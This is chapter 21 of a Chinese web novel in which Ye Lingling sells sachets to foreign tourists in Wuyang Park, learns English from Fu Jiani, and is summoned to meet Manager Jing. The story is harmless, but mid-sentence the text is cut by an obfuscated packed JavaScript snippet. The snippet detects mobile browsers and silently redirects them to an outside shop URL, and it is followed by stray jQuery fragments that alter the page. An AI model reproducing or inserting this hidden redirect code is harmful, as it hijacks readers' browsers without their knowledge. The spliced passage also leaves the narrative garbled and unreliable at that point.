第21章
从小在港城长大的符嘉妮有一个不错的英语生活环境,因此她的英语是很好的。
这个很好用在这里错错有余,由叶玲玲定价,说明商品,符嘉妮翻译,最后竟是真的开张了。
拿着那张华币,叶玲玲愣愣地看着,注意到符嘉妮的视线后抬头,露出一抹苦笑。
符嘉妮大概知道她的不好意思:“我也没想到语言问题,所以不丢脸。”
叶玲玲更臊了,这本是她应该想的问题。
符嘉妮看她这模样弯了弯嘴角,忍不住伸手捏了捏她的脸颊。
没什么肉,差点没捏到,嘀咕一句‘太瘦了’。
在她放开后叶玲玲叹气:“在京市我给钟生做翻译,现在需要你给我做翻译,真是...”一时间不知道用什么话来形容。
符嘉妮倒是意外:“叶小姐给四少爷做翻译?”
钟子阳在钟家这一代男孩子中第四,钟家在港城是有名的家族,虽然没有家族企业的权利,但符嘉妮知道她的老板是谁,自然也知道老板的儿子是谁。
好奇起来也就想要问问,更想知道叶玲玲到底是怎么跟老板的儿子搭上关系,还这么得井经理中意。
叶玲玲点头,隐去自己的主动,把自己给钟子阳做普通话和粤语翻译办房产证的事说了。
符嘉妮是真的惊叹:“我还不知道钟生不会华国的语言呢。不过也对,港城那边的通用语是粤语,第二语言是英语,四少爷常年待在英国,对内地这边确实不了解。”
说着这些,符嘉妮也给叶玲玲找了能够被重视的理由:“看看李先生腾房的难度,叶小姐能够帮忙顺利办下房产证并腾房,果然不简单啊。”
叶玲玲不好意思地摸摸鼻子,不过转而一想,哪怕没有叶长勤的介入她依旧能够很好地处理这次的事,所以这份夸奖她其实能收下。
这么想着她的羞涩褪去,露出笑容。
符嘉妮:“不过叶小姐,今天我能帮你翻译,之后可就不容易了。”
她是不可能一直待在这里的,她有自己的工作。
虽然不知道井经理要让她照顾叶玲玲到什么时候,但总不可能白给工资让她一直陪着叶玲玲吧?
嘶,想想那个情况,符嘉妮觉得还挺爽的。
叶玲玲脑子一转,很快接上:“嘉妮姐姐教我英语吧!”
符嘉妮因为她这话愣住了,叶玲玲却是觉得自己的想法有可行性:“不是那些深奥的英语,而是简单的,售卖这些东西的英语。颜色,图案,香料的名称,有什么作用,还有手绳的款式这类的,只要我学了就能自己售卖。”
符嘉妮上下打量叶玲玲:“英语不是那么好学的。”
叶玲玲却笑得眉眼弯弯,用华语说:“嘉妮姐姐学普通话也没话很长时间吧?”
其实花了不少时间,但符嘉妮不会承认。
她想了想,同意了叶玲玲的请求,然后就听到叶玲玲磕磕绊绊地询问一些单词的意思。
给她纠正了两次发音后符嘉妮恍惚间明白叶玲玲在语言方面的天赋在自己之上,那些单词明明才接触,才听了几次,除了发音不太准确之外竟是能勉强听出什么意思。
简单的场景英语很简单,叶玲玲更是大胆,看到有外国人过来直接用那刚学发音还不准确的英语打招呼。
这一声倒是吸引了外国人的注意,然而不管那些打量是友善还是好奇,亦或者带有审视,叶玲玲统统不介意,她用询问地语气问他们是否需要香囊,在介绍香囊的时候很磕绊,只能求助符嘉妮,但吸引留下客人的目的确确实实达到了。
再次从这些外国人手里接过华币,符嘉妮忽然就懂了井经理为什么这么看重叶玲玲。
叶玲玲确实是个人才,她有让别人投下视线的魅力。
这一天的收获不仅仅是卖出一半特产得来的差价,还有叶玲玲学来的那些单词。
她把今日盈利分成两份,自己一份,符嘉妮一份。
她还郑重地说:“我给钟生做翻译的时候是有报酬的,按理说我也应该给你报酬,但现在的我暂时没那么多钱,所以只能先把你应得的一半盈利给你。你的好我回记得,今后有机会一定会报答你!”
符嘉妮连忙摆手:“是井经理让我来的,我是拿了工资的。”
叶玲玲抓过她的手把钱放到她手心:“拿着,不多,但这也是你努力的回报。”
符嘉妮对她的帮助可不仅仅是帮忙翻译卖出这么多东西,还教导她英语,这才是不可估量的好处。现在的叶玲玲无可回报,只能暂时记在心里。
符嘉妮看着手心的那些散钱心情无法言说,最后只能握紧,对叶玲玲笑了。
明明比她工资少了好多好多,但不知为何,符嘉妮觉得这几张纸币很重。
她羡慕叶玲玲的努力和拼搏的心与行动力,而这些钱好似就是她跟着一起拼搏获得的回报。
很微妙,感觉跟工资很不一样。
叶玲玲和符嘉妮分开,回到招待所。
她没有着急做其他事,而是再次复习今天学到的英语单词。
这是她第一次真正接触英语,小山村里有学校就不错了,从未涉猎英语这一门学科,现在哪怕她已经把那些颜色以及图案的名词背下来,依旧没法知道这些单词怎么书写。
不过不要紧,记录这件事还有另外的办法。
叶玲玲以红色(月的),黄色(叶漏),这种谐音的方式把所有记住的单词都给记下来。
很笨拙,但她很开心,她觉得自己好像触及到了新的知识领域,哪怕学到这些知识的地方不是在她一直期盼的学堂。
第二天,叶玲玲依旧是去五羊公园。
今天竟然有了‘回头客’,虽然在很多华国人看来金发碧眼的外国人长相都差不多,但叶玲玲还是认出眼前的人是昨天买过凤凰香囊的女士。
她用自己半吊子的英语给她和她的同伴介绍,不过因为好多词她不懂,最后鸡同鸭讲。
是符嘉妮的到来拯救了她,告诉她客人想要一批香囊。
符嘉妮:“她想要这几种图案,每种图案各10各。”
这是来大单了!?叶玲玲不可置信地跟符嘉妮确认,符嘉妮笑着点头。
叶玲玲眼珠子一转,让符嘉妮帮忙询问对图案的颜色有没有要求,然后又详细询问了价格方面。
符嘉妮也是懂的,虽然给
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372651|199997||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一些优惠,但她们还是能赚,于是这笔生意谈了下来。
叶玲玲跟符嘉妮说:“嘉妮姐姐,麻烦你告诉这位女士,这里的货物不够,我需要回去拿,可能会耽搁一些时间。”
符嘉妮很是意外:“不需要定金吗?”
没有合同,对方是什么人,怎么能找到人都不清楚,叶玲玲不怕她直接跑单?
叶玲玲很坚定地摇头:“如果要定金对方肯定会猜到我们不是自己的货,可能会另外寻找货源,我不想冒险。而且这位女士需要的颜色不一样,哪怕她最后不要了,我也能自己卖出去。”
符嘉妮沉吟一声:“行。”她给这位女士翻译,对方当然是同意的,并且约定好等会她游玩出来后直接拿货。
符嘉妮笑着点头,转头告诉叶玲玲:“她要现在公园游玩,不清楚什么时候就出来了,快去快回!”
叶玲玲立马跑了,挤上公交车,奔赴小商品市场。
举着衣架的符嘉妮看着上边稀疏挂着的香囊和手绳,想想叶玲玲那兴奋的模样,忽而就笑了。
真好啊!她想。
如果她的哥哥姐姐能够自食其力,弟弟妹妹们也愿意踏踏实实干活,哪怕只有叶玲玲十分之一的勤奋和毅力,兴许她就不需要为了避开家里跟随井经理来到这里了。
叶玲玲的努力得到回报,那位女士并未逃单,一手交钱一手交货,虽然利润不是太高,但数额已经足够让叶玲玲开心。
夜里她开始盘算昨天和今天的收益,然后开始思考是不是应该添加一些种类。
但是这个念头刚出来就被她掐灭,叶玲玲知道其他种类的香囊和手工艺品不一定受欢迎,就跟手绳其实没卖出去几根一样。
不过,盘算下来挣的其实不多。
还没有租房,每天的饭菜也需要钱,她不能保证每天挣的钱能覆盖房租伙食,在一切定下来之前,不能松懈。
叶玲玲在想新的营生手段,开始对比这两天在五羊公园卖出东西的时间,试图挤出一个时间点去做其他事。
她也在想能不能多卖一些东西,不是小工艺品,而是其他品类。
想了又想,还是找不到更好的办法。
好在这件事没有困扰她太久,第二天中午,穗华服饰的员工来五羊公园找他们,告知今天下午他们井经理要去服装厂喝茶。
特意通知叶玲玲一起去。
叶玲玲知道另外一个机会来了,甚至如果顺利,这一份工艺品的小生意大概不会再做。
符嘉妮也是松口气,这三天她跟叶玲玲在这里卖香囊人都黑了一圈,她是真的有点坚持不下去,连五羊公园优美的风景也看不进去了。
叶玲玲开始收拾东西:“我先回招待所收拾一下自己,到时间我自己去公司。”
看她着急忙慌的模样符嘉妮忍不住调侃:“我还以为你会再卖一会,按这两天的情况,应该还能有几个单子。”
叶玲玲嘿笑,然后恭维一句:“当然是井经理的事更重要。”
符嘉妮忍不住乐了:“这话你应该当井经理的面说。”
叶玲玲义正词严:“嘉妮姐姐说的话井经理更信。”
符嘉妮笑出声来。